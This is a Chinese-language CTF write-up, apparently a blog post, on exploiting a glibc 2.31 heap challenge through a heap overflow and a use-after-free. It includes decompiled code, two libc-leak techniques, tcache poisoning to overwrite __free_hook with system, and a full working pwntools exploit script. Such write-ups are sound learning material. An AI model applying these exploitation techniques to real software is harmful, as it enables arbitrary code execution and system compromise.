就搞到一题附件 做了下发现对于只能操控单个chunk的利用手法不够熟练 于是用博客记录一下思路
libc版本是2.31 保护机制中规中矩 反正是个堆 都大差不差
void *add() { void *v1;
printf("size: "); __isoc99_scanf("%llu", &nbytes); if ( v1 != ptr ) v1 = malloc(nbytes); printf("data: "); read(0, v1, nbytes); puts("Create Complete!"); return v1; }
|
add函数 只能操控一个chunk 不过这里的检查有漏洞 如果已经有一个chunk了 跳过的只是malloc的部分 输入data和size的并不受限 所以这里存在一个堆溢出漏洞
int delete() { int result;
result = (int)ptr; if ( ptr ) { free(ptr); result = puts("Delete Complete"); } return result; }
|
delete函数 明显存在一个UAF漏洞
int show() { int result;
result = (int)ptr; if ( ptr ) result = printf("Your Note: %s\n", (const char *)ptr); return result; }
|
show函数 调用printf打印堆块内容
int edit() { void *v1;
if ( !ptr ) return puts("zero note!"); v1 = ptr; printf("NewData: "); read(0, v1, nbytes); return puts("Edit Complete!"); }
|
edit函数 用来编辑堆块内容
那么总结下来 就是只能同时控制一个chunk 但是可以利用的漏洞都给了 这种情况下 我想到的是通过填满tcachebin的链表 从而申请到fastbin chunk 随后利用malloc_consolidate来把fastbin chunk放入到smallbin中 从而利用UAF泄露libc基址
还有一种办法是学习enllus1on师傅的 利用堆溢出覆盖top chunk的size 从而再次申请一个大chunk 于是就会重新分配一个top chunk 并且把原来的释放到unsortedbin中 这样也可以泄露libc基址
下面两种办法都演示一遍
add(0x30,b'aaaa') delete() for i in range(7): edit(cyclic(0x10)) delete() add(0x80,b'aaaa') bigchunk()
|
这里来实现double free的原理是因为tcache高版本新加入的key 位于bk域 只要覆盖key 就可以绕过double free检测
此时我们成功把fastbin中的chunk释放进入smallbin
delete() add(0x30,b'1') show() libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-1-0x1ebc30 success("libc_addrr :"+hex(libc_addr))
|
随后就是重新申请这块空间 注意一下覆盖末位的值 需要减去 这样就成功获取到了libc基址
还有一种办法 先利用堆溢出覆盖top chunk的size 注意这个size要使得top chunk起始地址+size刚好到一个页的起始
add(0x10, '\x00') payload = b'\x00'*0x18 + p64(0xd51) add(len(payload), payload) delete()
|
此时申请一个比top chunk大的chunk top chunk就会被释放进入unsortedbin
那么我们从unsortedbin中申请出来一个chunk 就可以泄露出libc基址
delete() add(0x20, '1') show() libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0-0x551 success("libc_addr :"+hex(libc_addr)) free_hook = libc_addr + libc.sym["__free_hook"] system_addr = libc_addr + libc.sym["system"]
|
接下来就是如何实现任意写了 由于只能控制一个chunk 所以哪怕我们有double free 也没有办法申请出来任意地址的chunk 所以我们需要把size域更改 使得chunk被重新释放时进入其他链表 从而使得原来的链表保留任意写的地址 听不懂没有关系 接下来来详解一下
delete() edit(p64(0)*2) delete()
|
首先 利用老办法来构造一个double free的链表
此时 tcachebin中有两个链表 并且二者是物理相邻的 我们先申请出低地址处的0x20的链表 为了堆溢出覆盖到下一个chunk
add(0x10,'aaaa') payload = cyclic(0x18)+p64(0x51)+p64(free_hook-0x8) add(len(payload),payload)
|
可以看到此时size域被修改了 并且链表中写入了我们的目标地址 之所以要减去8 是因为只能控制一个chunk 如果我们想要采用覆盖free_hook的办法来获取shell 那么被释放的chunk首地址一定要为/bin/sh或者其他能够getshell的参数
delete() add(0x20,b'aaaa')
|
此时把0x30的链表中申请出来 那么此时供我们控制的chunk指针也就是0x55e70eeee2b0这个 如果我们再次释放chunk呢
此时就会把这个chunk释放到0x50的链表中 和我们0x30链表中任意写的地址错位开 那么此时再次申请0x20大小的chunk 就可以达到任意写的目的了
完整exp:
from pwn import* from ctypes import * io = process("./pwn")
elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
def add(size,payload): io.recvuntil("choice: ") io.sendline(b'1') io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("data: ") io.send(payload) def delete(): io.recvuntil("choice: ") io.sendline(b'2') def show(): io.recvuntil("choice: ") io.sendline(b'3') def edit(payload): io.recvuntil("choice: ") io.sendline(b'4') io.recvuntil("NewData: ") io.send(payload) def bigchunk(): io.recvuntil("choice: ") io.sendline(b'1'*0x1000)
add(0x10, '\x00') payload = b'\x00'*0x18 + p64(0xd51) add(len(payload), payload) delete() add(0x1000, 'aaaa') delete() add(0x20, '1') show() libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0-0x551 success("libc_addr :"+hex(libc_addr)) free_hook = libc_addr + libc.sym["__free_hook"] system_addr = libc_addr + libc.sym["system"]
delete() edit(p64(0)*2) delete() add(0x10,'aaaa') payload = cyclic(0x18)+p64(0x51)+p64(free_hook-0x8) add(len(payload),payload) delete() add(0x20,b'aaaa') delete() add(0x20,b'/bin/sh\x00'+p64(system_addr)) delete() io.interactive()
|